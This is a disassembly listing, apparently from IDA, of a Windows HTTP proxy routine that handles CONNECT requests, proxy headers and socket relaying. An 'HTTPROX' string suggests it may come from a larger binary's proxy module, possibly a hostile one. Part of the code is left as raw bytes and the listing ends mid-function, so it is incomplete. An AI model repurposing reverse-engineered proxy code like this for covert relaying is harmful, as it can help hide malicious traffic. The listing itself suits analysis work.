sub_429540 proc near ; CODE XREF: sub_401BE5j
push esi
mov esi, ecx
push edi
mov edi, dword_511C9C
mov eax, [esi+0BFh]
mov dword ptr [esi], offset off_43F14C
cmp eax, 0FFFFFFFFh
jz short loc_42955E
push eax
call edi
loc_42955E: ; CODE XREF: sub_429540+19j
mov eax, [esi+0BBh]
cmp eax, 0FFFFFFFFh
jz short loc_42956C
push eax
call edi
loc_42956C: ; CODE XREF: sub_429540+27j
lea ecx, [esi+0A1h]
call sub_401226
mov ecx, esi
call sub_4017A8
pop edi
pop esi
retn
sub_429540 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4295B0: ; CODE XREF: ___:loc_401D3Ej
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43CDB2
push eax
mov eax, 5488h
mov large fs:0, esp
call sub_437B30
push ebx
push ebp
push esi
mov ebp, ecx
or esi, 0FFFFFFFFh
push edi
mov [ebp+0BFh], esi
mov byte ptr [esp+11h], 0
mov byte ptr [esp+12h], 0
loc_4295E8: ; CODE XREF: ___:0042A576j
lea ecx, [esp+0B8h]
call sub_401B4A
lea ecx, [esp+14h]
mov dword ptr [esp+54A0h], 0
mov byte ptr [esp+13h], 0
call sub_40142E
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+398h]
push 104h
push eax
push ecx
mov byte ptr [esp+54B0h], 1
call sub_401280
add esp, 10h
test al, al
jz loc_42A600
lea edx, [esp+394h]
lea ecx, [esp+30h]
push edx
call sub_401870
push offset byte_448F40
lea ecx, [esp+34h]
mov byte ptr [esp+54A4h], 2
call sub_4012EE
test eax, eax
jnz short loc_4296A0
lea ecx, [esp+30h]
mov byte ptr [esp+54A0h], 1
call sub_401226
lea ecx, [esp+14h]
mov byte ptr [esp+54A0h], 0
call sub_401226
lea ecx, [esp+0B8h]
mov [esp+54A0h], esi
call sub_4014BA
jmp loc_42A570
; ---------------------------------------------------------------------------
loc_4296A0: ; CODE XREF: ___:00429664j
push offset asc_444600 ; " "
lea eax, [esp+234h]
push 0
push eax
lea ecx, [esp+3Ch]
call sub_4016B8
push offset off_447224
mov ecx, eax
mov byte ptr [esp+54A4h], 3
call sub_40150A
test eax, eax
lea ecx, [esp+230h]
mov byte ptr [esp+54A0h], 2
setz bl
call sub_401226
test bl, bl
jz short loc_429765
push offset asc_444600 ; " "
lea ecx, [esp+21Ch]
push 1
push ecx
lea ecx, [esp+3Ch]
mov byte ptr [esp+1Fh], 1
call sub_4016B8
lea edx, [esp+0B8h]
mov ecx, eax
push edx
mov byte ptr [esp+54A4h], 4
call sub_4017EE
push eax
call sub_401947
add esp, 8
lea ecx, [esp+218h]
test al, al
setz bl
mov byte ptr [esp+54A0h], 2
call sub_401226
test bl, bl
jnz loc_42A5EF
push offset aHttp ; "http"
lea ecx, [esp+0BCh]
call sub_4012EE
test eax, eax
jnz loc_42A5EF
jmp loc_42995A
; ---------------------------------------------------------------------------
loc_429765: ; CODE XREF: ___:004296E7j
push offset asc_444600 ; " "
lea eax, [esp+24Ch]
push 0
push eax
lea ecx, [esp+3Ch]
call sub_4016B8
push offset aConnect_0 ; "CONNECT"
mov ecx, eax
mov byte ptr [esp+54A4h], 5
call sub_40150A
test eax, eax
lea ecx, [esp+248h]
mov byte ptr [esp+54A0h], 2
setz bl
call sub_401226
test bl, bl
jz loc_42995A
push offset aConnect ; "connect"
lea ecx, [esp+0BCh]
mov byte ptr [esp+17h], 0
call sub_4015E1
push offset byte_448F40
lea ecx, [esp+114h]
call sub_4015E1
push offset asc_444600 ; " "
lea ecx, [esp+12Ch]
push 1
push ecx
lea ecx, [esp+3Ch]
call sub_4016B8
push offset asc_444C7C ; ":"
lea edx, [esp+174h]
push 0
push edx
mov ecx, eax
mov byte ptr [esp+54ACh], 6
call sub_4016B8
push eax
lea ecx, [esp+0D1h]
mov byte ptr [esp+54A4h], 7
call sub_401FDC
lea ecx, [esp+170h]
mov byte ptr [esp+54A0h], 6
call sub_401226
lea ecx, [esp+128h]
mov byte ptr [esp+54A0h], 2
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+27Ch]
push 1
push eax
lea ecx, [esp+3Ch]
call sub_4016B8
push offset asc_444C7C ; ":"
lea ecx, [esp+1A4h]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+54ACh], 8
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+54A0h], 9
call sub_4017EE
test eax, eax
lea ecx, [esp+1A0h]
mov byte ptr [esp+54A0h], 8
setz bl
call sub_401226
lea ecx, [esp+278h]
mov byte ptr [esp+54A0h], 2
call sub_401226
test bl, bl
jnz loc_42A5EF
push offset asc_444600 ; " "
lea edx, [esp+264h]
push 1
push edx
lea ecx, [esp+3Ch]
call sub_4016B8
push offset asc_444C7C ; ":"
lea ecx, [esp+1D4h]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+54ACh], 0Ah
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+54A0h], 0Bh
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+1D0h]
mov [esp+10Ch], eax
mov byte ptr [esp+54A0h], 0Ah
call sub_401226
lea ecx, [esp+260h]
mov byte ptr [esp+54A0h], 2
call sub_401226
mov eax, [esp+10Ch]
test eax, eax
jnz short loc_42995A
mov dword ptr [esp+10Ch], 50h
loc_42995A: ; CODE XREF: ___:00429760j
; ___:004297ACj ...
push offset asc_444600 ; " "
lea edx, [esp+4Ch]
push 0
push edx
lea ecx, [esp+3Ch]
call sub_4016B8
push offset byte_448F40
lea ecx, [esp+4Ch]
mov byte ptr [esp+54A4h], 0Ch
call sub_4012EE
test eax, eax
jz loc_42A5DE
push offset asc_444600 ; " "
lea eax, [esp+64h]
push 2
push eax
lea ecx, [esp+3Ch]
call sub_4016B8
push offset byte_448F40
lea ecx, [esp+64h]
mov byte ptr [esp+54A4h], 0Dh
call sub_4012EE
test eax, eax
jz loc_42A5CD
lea ecx, [esp+0CDh]
push ecx
lea ecx, [esp+8Ch]
call sub_4014D3
mov ecx, 1000h
xor eax, eax
lea edi, [esp+498h]
or ebx, 0FFFFFFFFh
rep stosd
mov edi, offset aHttprox ; "HTTPROX"
mov ecx, ebx
repne scasb
not ecx
sub edi, ecx
lea edx, [esp+4498h]
mov eax, ecx
mov esi, edi
mov edi, edx
mov byte ptr [esp+54A0h], 0Eh
shr ecx, 2
rep movsd
mov ecx, eax
lea eax, [esp+4498h]
and ecx, 3
rep movsb
mov esi, offset asc_4471FC ; "\r\n"
loc_429A21: ; CODE XREF: ___:00429A3Fj
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_429A45
test cl, cl
jz short loc_429A41
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_429A45
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429A21
loc_429A41: ; CODE XREF: ___:00429A2Bj
xor eax, eax
jmp short loc_429A49
; ---------------------------------------------------------------------------
loc_429A45: ; CODE XREF: ___:00429A27j
; ___:00429A35j
sbb eax, eax
sbb eax, ebx
loc_429A49: ; CODE XREF: ___:00429A43j
test eax, eax
jz loc_429B23
mov edi, dword_511AD8
loc_429A57: ; CODE XREF: ___:00429B1Dj
mov esi, offset byte_448F40
lea eax, [esp+4498h]
loc_429A63: ; CODE XREF: ___:00429A81j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_429A87
test cl, cl
jz short loc_429A83
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_429A87
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429A63
loc_429A83: ; CODE XREF: ___:00429A6Dj
xor eax, eax
jmp short loc_429A8B
; ---------------------------------------------------------------------------
loc_429A87: ; CODE XREF: ___:00429A69j
; ___:00429A77j
sbb eax, eax
sbb eax, ebx
loc_429A8B: ; CODE XREF: ___:00429A85j
test eax, eax
jz loc_429B23
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+449Ch]
push 1000h
push eax
push ecx
call sub_401280
add esp, 10h
test al, al
jz loc_42A629
lea edx, [esp+4498h]
push 4000h
lea eax, [esp+49Ch]
push edx
push eax
call edi
push 4000h
lea ecx, [esp+4A8h]
push offset asc_4471FC ; "\r\n"
push ecx
call edi
add esp, 18h
mov esi, offset asc_4471FC ; "\r\n"
lea eax, [esp+4498h]
loc_429AF3: ; CODE XREF: ___:00429B11j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_429B17
test cl, cl
jz short loc_429B13
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_429B17
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429AF3
loc_429B13: ; CODE XREF: ___:00429AFDj
xor eax, eax
jmp short loc_429B1B
; ---------------------------------------------------------------------------
loc_429B17: ; CODE XREF: ___:00429AF9j
; ___:00429B07j
sbb eax, eax
sbb eax, ebx
loc_429B1B: ; CODE XREF: ___:00429B15j
test eax, eax
jnz loc_429A57
loc_429B23: ; CODE XREF: ___:00429A4Bj
; ___:00429A8Dj
mov esi, dword_511B04
lea eax, [esp+498h]
push offset aProxyConnectio ; "Proxy-Connection:"
push eax
call esi
add esp, 8
test eax, eax
jz short loc_429B77
push offset asc_444C7C ; ":"
push eax
call esi
add esp, 8
inc eax
jz short loc_429B77
cmp byte ptr [eax], 20h
jnz short loc_429B5B
loc_429B52: ; CODE XREF: ___:00429B59j
mov cl, [eax+1]
inc eax
cmp cl, 20h
jz short loc_429B52
loc_429B5B: ; CODE XREF: ___:00429B50j
push offset aKeepAlive ; "Keep-Alive"
push eax
nop
call near ptr 77C4624Eh
add esp, 8
test eax, eax
jz short loc_429B77
mov byte ptr [ebp+0BAh], 1
jmp short loc_429B7E
; ---------------------------------------------------------------------------
loc_429B77: ; CODE XREF: ___:00429B3Dj
; ___:00429B4Bj ...
mov byte ptr [ebp+0BAh], 0
loc_429B7E: ; CODE XREF: ___:00429B75j
cmp [ebp+0BFh], ebx
jnz loc_429C16
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, ebx
mov [ebp+0BFh], eax
jz loc_42A6FD
mov edx, [esp+10Ch]
xor ecx, ecx
mov [esp+78h], ecx
push edx
mov [esp+80h], ecx
mov word ptr [esp+7Ch], 2
mov [esp+84h], ecx
mov [esp+88h], ecx
nop
call near ptr 71AB2B66h
lea ecx, [esp+0CDh]
mov [esp+7Ah], ax
call sub_4017EE
push eax
call sub_40188E
add esp, 4
cmp eax, ebx
mov [esp+7Ch], eax
jz loc_42A63B
mov ecx, [ebp+0BFh]
lea eax, [esp+78h]
push 10h
push eax
push ecx
call near ptr 71AB406Ah
nop
cmp eax, ebx
jz loc_42A698
loc_429C16: ; CODE XREF: ___:00429B84j
mov al, [esp+13h]
test al, al
jz loc_42A2BE
mov al, [ebp+0BAh]
test al, al
jz short loc_429C61
lea edx, [esp+498h]
lea ecx, [esp+60h]
push edx
call sub_4017EE
push eax
lea ecx, [esp+118h]
call sub_4017EE
push eax
lea ecx, [esp+54h]
call sub_4017EE
push eax
lea eax, [esp+24h]
push offset aSSSConnectionK ; "%s %s %s\r\nConnection: Keep-Alive\r\n%s"
push eax
jmp short loc_429C94
; ---------------------------------------------------------------------------
loc_429C61: ; CODE XREF: ___:00429C2Aj
lea ecx, [esp+498h]
push ecx
lea ecx, [esp+64h]
call sub_4017EE
push eax
lea ecx, [esp+118h]
call sub_4017EE
push eax
lea ecx, [esp+54h]
call sub_4017EE
push eax
lea edx, [esp+24h]
push offset aSSSConnectionC ; "%s %s %s\r\nConnection: close\r\n%s"
push edx
loc_429C94: ; CODE XREF: ___:00429C5Fj
call sub_40102D
add esp, 18h
lea ecx, [esp+14h]
push 0
call sub_4013E3
push eax
lea ecx, [esp+1Ch]
call sub_4017EE
push eax
mov eax, [ebp+0BFh]
push eax
call near ptr 71AB428Ah
nop
test eax, eax
jz loc_42A6E2
cmp eax, ebx
jz loc_42A6E2
mov edx, [ebp+0BFh]
push 0
lea ecx, [esp+49Ch]
push 4000h
push ecx
push edx
call sub_401280
add esp, 10h
test al, al
jz loc_42A70F
mov edi, offset asc_4471FC ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+498h]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [esp+49Ch]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea eax, [esp+49Ch]
push ecx
mov ecx, [ebp+0BBh]
push eax
push ecx
call near ptr 71AB428Ah
nop
xor ebx, ebx
mov esi, offset asc_4471FC ; "\r\n"
mov [esp+2Ch], ebx
lea eax, [esp+498h]
loc_429D5E: ; CODE XREF: ___:00429D7Cj
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_429D82
test cl, cl
jz short loc_429D7E
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_429D82
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429D5E
loc_429D7E: ; CODE XREF: ___:00429D68j
xor eax, eax
jmp short loc_429D87
; ---------------------------------------------------------------------------
loc_429D82: ; CODE XREF: ___:00429D64j
; ___:00429D72j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_429D87: ; CODE XREF: ___:00429D80j
test eax, eax
jz loc_42A109
loc_429D8F: ; CODE XREF: ___:0042A0F8j
mov esi, offset byte_448F40
lea eax, [esp+498h]
loc_429D9B: ; CODE XREF: ___:00429DBDj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_429DC3
test cl, cl
jz short loc_429DBF
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_429DC3
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429D9B
loc_429DBF: ; CODE XREF: ___:00429DA7j
xor eax, eax
jmp short loc_429DC8
; ---------------------------------------------------------------------------
loc_429DC3: ; CODE XREF: ___:00429DA3j
; ___:00429DB3j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_429DC8: ; CODE XREF: ___:00429DC1j
test eax, eax
jz loc_42A105
mov ecx, [ebp+0BFh]
push 0
lea eax, [esp+49Ch]
push 4000h
push eax
push ecx
call sub_401280
add esp, 10h
test al, al
jz loc_42A100
lea edx, [esp+498h]
lea ecx, [esp+0A0h]
push edx
call sub_401870
push offset asc_444600 ; " "
lea eax, [esp+204h]
push 0
push eax
lea ecx, [esp+0ACh]
mov byte ptr [esp+54ACh], 0Fh
call sub_4016B8
push offset aContentLength ; "Content-Length:"
mov ecx, eax
mov byte ptr [esp+54A4h], 10h
call sub_40150A
test eax, eax
lea ecx, [esp+200h]
mov byte ptr [esp+54A0h], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_429EAA
push offset asc_444600 ; " "
lea ecx, [esp+144h]
push 1
push ecx
lea ecx, [esp+0ACh]
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+54A0h], 11h
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+140h]
mov [esp+2Ch], eax
mov byte ptr [esp+54A0h], 0Fh
call sub_401226
loc_429EAA: ; CODE XREF: ___:00429E5Cj
push offset asc_444600 ; " "
lea edx, [esp+15Ch]
push 0
push edx
lea ecx, [esp+0ACh]
call sub_4016B8
push offset aTransferEncodi ; "Transfer-Encoding:"
mov ecx, eax
mov byte ptr [esp+54A4h], 12h
call sub_40150A
test eax, eax
lea ecx, [esp+158h]
mov byte ptr [esp+54A0h], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_429F39
push offset asc_444600 ; " "
lea eax, [esp+18Ch]
push 1
push eax
lea ecx, [esp+0ACh]
call sub_4016B8
push offset aChunked ; "chunked"
mov ecx, eax
mov byte ptr [esp+54A4h], 13h
call sub_40150A
lea ecx, [esp+188h]
mov byte ptr [esp+54A0h], 0Fh
call sub_401226
loc_429F39: ; CODE XREF: ___:00429EF4j
push offset asc_444600 ; " "
lea ecx, [esp+1BCh]
push 0
push ecx
lea ecx, [esp+0ACh]
call sub_4016B8
push offset aConnection ; "Connection:"
mov ecx, eax
mov byte ptr [esp+54A4h], 14h
call sub_40150A
test eax, eax
lea ecx, [esp+1B8h]
mov byte ptr [esp+54A0h], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_429FD4
push offset asc_444600 ; " "
lea edx, [esp+1ECh]
push 1
push edx
lea ecx, [esp+0ACh]
call sub_4016B8
push offset aKeepAlive ; "Keep-Alive"
mov ecx, eax
mov byte ptr [esp+54A4h], 15h
call sub_40150A
test eax, eax
lea ecx, [esp+1E8h]
mov byte ptr [esp+54A0h], 0Fh
setz bl
call sub_401226
test bl, bl
setnz byte ptr [esp+11h]
loc_429FD4: ; CODE XREF: ___:00429F83j
mov esi, offset asc_4471FC ; "\r\n"
lea eax, [esp+498h]
loc_429FE0: ; CODE XREF: ___:0042A002j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_42A008
test cl, cl
jz short loc_42A004
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_42A008
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429FE0
loc_42A004: ; CODE XREF: ___:00429FECj
xor eax, eax
jmp short loc_42A00D
; ---------------------------------------------------------------------------
loc_42A008: ; CODE XREF: ___:00429FE8j
; ___:00429FF8j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42A00D: ; CODE XREF: ___:0042A006j
test eax, eax
jz loc_42A0A9
mov esi, offset byte_448F40
lea eax, [esp+498h]
loc_42A021: ; CODE XREF: ___:0042A043j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_42A049
test cl, cl
jz short loc_42A045
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_42A049
add eax, 2
add esi, 2
test cl, cl
jnz short loc_42A021
loc_42A045: ; CODE XREF: ___:0042A02Dj
xor eax, eax
jmp short loc_42A04E
; ---------------------------------------------------------------------------
loc_42A049: ; CODE XREF: ___:0042A029j
; ___:0042A039j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42A04E: ; CODE XREF: ___:0042A047j
test eax, eax
jz short loc_42A0A9
mov edi, offset asc_4471FC ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+498h]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [esp+49Ch]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea eax, [esp+49Ch]
push ecx
mov ecx, [ebp+0BBh]
push eax
push ecx
nop
call near ptr 71AB428Ah
loc_42A0A9: ; CODE XREF: ___:0042A00Fj
; ___:0042A050j
lea ecx, [esp+0A0h]
mov byte ptr [esp+54A0h], 0Eh
call sub_401226
mov esi, offset asc_4471FC ; "\r\n"
lea eax, [esp+498h]
loc_42A0C9: ; CODE XREF: ___:0042A0EBj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_42A0F1
test cl, cl
jz short loc_42A0ED
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_42A0F1
add eax, 2
add esi, 2
test cl, cl
jnz short loc_42A0C9
loc_42A0ED: ; CODE XREF: ___:0042A0D5j
xor eax, eax
jmp short loc_42A0F6
; ---------------------------------------------------------------------------
loc_42A0F1: ; CODE XREF: ___:0042A0D1j
; ___:0042A0E1j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42A0F6: ; CODE XREF: ___:0042A0EFj
test eax, eax
jnz loc_429D8F
jmp short loc_42A105
; ---------------------------------------------------------------------------
loc_42A100: ; CODE XREF: ___:00429DF0j
mov byte ptr [esp+12h], 1
loc_42A105: ; CODE XREF: ___:00429DCAj
; ___:0042A0FEj
mov ebx, [esp+2Ch]
loc_42A109: ; CODE XREF: ___:00429D89j
mov al, [esp+11h]
push 0
test al, al
jz short loc_42A131
mov edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [ebp+0BBh]
not ecx
dec ecx
push ecx
push offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
push eax
jmp short loc_42A14D
; ---------------------------------------------------------------------------
loc_42A131: ; CODE XREF: ___:0042A111j
mov edi, offset aConnectionClos ; "Connection: Close\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, [ebp+0BBh]
push offset aConnectionClos ; "Connection: Close\r\n"
push ecx
loc_42A14D: ; CODE XREF: ___:0042A12Fj
nop
call near ptr 71AB428Ah
mov edi, offset asc_4471FC ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+498h]
repne scasb
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, [ebp+0BBh]
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
lea edi, [esp+49Ch]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push ecx
lea ecx, [esp+4A0h]
push ecx
push edx
call near ptr 71AB428Ah
nop
test ebx, ebx
jz loc_42A27C
xor edi, edi
test ebx, ebx
jle short loc_42A204
loc_42A1B3: ; CODE XREF: ___:0042A202j
mov eax, ebx
sub eax, edi
cmp eax, 4000h
jbe short loc_42A204
mov edx, [ebp+0BFh]
push 0
lea ecx, [esp+49Ch]
push 4000h
push ecx
push edx
nop
call near ptr 71AB615Ah
mov esi, eax
cmp esi, 1
jl short loc_42A204
cmp esi, 0FFFFFFFFh
jz short loc_42A204
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+49Ch]
push esi
push eax
push ecx
nop
call near ptr 71AB428Ah
add edi, esi
cmp edi, ebx
jl short loc_42A1B3
loc_42A204: ; CODE XREF: ___:0042A1B1j
; ___:0042A1BCj ...
mov eax, ebx
sub eax, edi
jz short loc_42A24E
loc_42A20A: ; CODE XREF: ___:0042A24Cj
push 0
push eax
mov eax, [ebp+0BFh]
lea edx, [esp+4A0h]
push edx
push eax
nop
call near ptr 71AB615Ah
mov esi, eax
cmp esi, 1
jl short loc_42A24E
cmp esi, 0FFFFFFFFh
jz short loc_42A24E
mov edx, [ebp+0BBh]
push 0
lea ecx, [esp+49Ch]
push esi
push ecx
push edx
nop
call near ptr 71AB428Ah
add edi, esi
mov eax, ebx
sub eax, edi
jnz short loc_42A20A
loc_42A24E: ; CODE XREF: ___:0042A208j
; ___:0042A227j ...
mov al, [ebp+0BAh]
test al, al
jnz loc_42A4DF
mov ecx, [ebp+0BBh]
push ecx
nop
call near ptr 71AB9639h
or esi, 0FFFFFFFFh
mov byte ptr [esp+12h], 1
mov [ebp+0BBh], esi
jmp loc_42A4E2
; ---------------------------------------------------------------------------
loc_42A27C: ; CODE XREF: ___:0042A1A7j
mov esi, dword_511CA4
loc_42A282: ; CODE XREF: ___:0042A2BCj
mov ecx, [ebp+0BFh]
push 0
lea eax, [esp+49Ch]
push 4000h
push eax
push ecx
call esi
cmp eax, 1
jl short loc_42A24E
cmp eax, 0FFFFFFFFh
jz short loc_42A24E
push 0
push eax
mov eax, [ebp+0BBh]
lea edx, [esp+4A0h]
push edx
push eax
nop
call near ptr 71AB428Ah
jmp short loc_42A282
; ---------------------------------------------------------------------------
loc_42A2BE: ; CODE XREF: ___:00429C1Cj
lea ecx, [esp+14h]
push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
push ecx
call sub_40102D
add esp, 8
lea ecx, [esp+14h]
push 0
call sub_4013E3
push eax
lea ecx, [esp+1Ch]
call sub_4017EE
mov edx, [ebp+0BBh]
push eax
push edx
call near ptr 71AB428Ah
nop
test eax, eax
jz loc_42A782
cmp eax, ebx
jz loc_42A782
mov ebx, dword_511CA4
mov eax, [ebp+0BBh]
mov edx, [ebp+0BFh]
mov [esp+294h], eax
mov dword ptr [esp+290h], 1
xor eax, eax
lea ecx, [esp+294h]
loc_42A330: ; CODE XREF: ___:0042A33Bj
cmp [ecx], edx
jz short loc_42A33D
inc eax
add ecx, 4
cmp eax, 1
jb short loc_42A330
loc_42A33D: ; CODE XREF: ___:0042A332j
cmp eax, 1
jnz short loc_42A354
mov [esp+298h], edx
mov dword ptr [esp+290h], 2
loc_42A354: ; CODE XREF: ___:0042A340j
mov ecx, 1000h
xor eax, eax
lea edi, [esp+498h]
push eax
rep stosd
push eax
lea ecx, [esp+298h]
push eax
push ecx
push eax
nop
call near ptr 71AB2DC0h
mov eax, [ebp+0BBh]
lea edx, [esp+290h]
push edx
push eax
call sub_438256
; ---------------------------------------------------------------------------
dw 0C085h
dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
dd 0A024848Dh, 50000004h, 0C3E89051h, 8371689Eh, 840FFFF8h
dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
dd 0DE72h, 4274C085h, 0BF958Bh, 6A0000h, 9C248C8Dh, 68000004h
dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
dd 6A000000h, 848D5000h, 4A024h, 90515000h, 689E69E8h
dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 5118D8h, 0D7FF056Ah
dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 0F07EE890h, 333D7168h
dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
dd 1CA03D8Bh, 6A0051h, 9C248C8Dh, 56000004h, 0D7FF5251h
dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 68F02BE8h, 333D9071h
dd 75000027h, 90016A0Dh, 407827E8h, 0FE43E902h, 858BFFFFh
dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_42A4DF: ; CODE XREF: ___:0042A256j
or esi, 0FFFFFFFFh
loc_42A4E2: ; CODE XREF: ___:0042A277j
mov al, [esp+11h]
test al, al
jnz short loc_42A502
mov edx, [ebp+0BFh]
push edx
nop
call near ptr 71AB9639h
mov [ebp+0BFh], esi
mov byte ptr [esp+12h], 1
loc_42A502: ; CODE XREF: ___:0042A4E8j
lea ecx, [esp+88h]
mov byte ptr [esp+54A0h], 0Dh
call sub_401226
lea ecx, [esp+60h]
mov byte ptr [esp+54A0h], 0Ch
call sub_401226
lea ecx, [esp+48h]
mov byte ptr [esp+54A0h], 2
call sub_401226
lea ecx, [esp+30h]
mov byte ptr [esp+54A0h], 1
call sub_401226
lea ecx, [esp+14h]
mov byte ptr [esp+54A0h], 0
call sub_401226
lea ecx, [esp+0B8h]
mov [esp+54A0h], esi
call sub_4014BA
or esi, 0FFFFFFFFh
loc_42A570: ; CODE XREF: ___:0042969Bj
mov al, [esp+12h]
test al, al
jz loc_4295E8
loc_42A57C: ; CODE XREF: ___:0042A624j
; ___:0042A77Dj
mov al, [ebp+0BAh]
test al, al
jz short loc_42A599
mov eax, [ebp+0BBh]
push eax
nop
call near ptr 71AB9639h
mov [ebp+0BBh], esi
loc_42A599: ; CODE XREF: ___:0042A584j
mov al, [esp+11h]
test al, al
jz short loc_42A5B4
mov ecx, [ebp+0BFh]
push ecx
nop
call near ptr 71AB9639h
mov [ebp+0BFh], esi
loc_42A5B4: ; CODE XREF: ___:0042A59Fj
; ___:0042A805j
mov ecx, [esp+5498h]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 5494h
retn
; ---------------------------------------------------------------------------
loc_42A5CD: ; CODE XREF: ___:004299BAj
lea ecx, [esp+60h]
mov byte ptr [esp+54A0h], 0Ch
call sub_401226
loc_42A5DE: ; CODE XREF: ___:00429987j
lea ecx, [esp+48h]
mov byte ptr [esp+54A0h], 2
call sub_401226
loc_42A5EF: ; CODE XREF: ___:00429741j
; ___:0042975Aj ...
lea ecx, [esp+30h]
mov byte ptr [esp+54A0h], 1
call sub_401226
loc_42A600: ; CODE XREF: ___:00429635j
lea ecx, [esp+14h]
mov byte ptr [esp+54A0h], 0
call sub_401226
lea ecx, [esp+0B8h]
mov [esp+54A0h], esi
call sub_4014BA
jmp loc_42A57C
; ---------------------------------------------------------------------------
loc_42A629: ; CODE XREF: ___:00429AB3j
mov eax, [ebp+0BBh]
push eax
call near ptr 71AB9639h
nop
jmp loc_42A79A
; ---------------------------------------------------------------------------
loc_42A63B: ; CODE XREF: ___:00429BF4j
lea ecx, [esp+0CDh]
call sub_4017EE
push eax
lea ecx, [esp+18h]
push offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
push ecx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+14h]
push 0
call sub_4013E3
push eax
lea ecx, [esp+1Ch]
call sub_4017EE
mov edx, [ebp+0BBh]
push eax
push edx
nop
call near ptr 71AB428Ah
mov eax, [ebp+0BBh]
mov esi, dword_511C9C
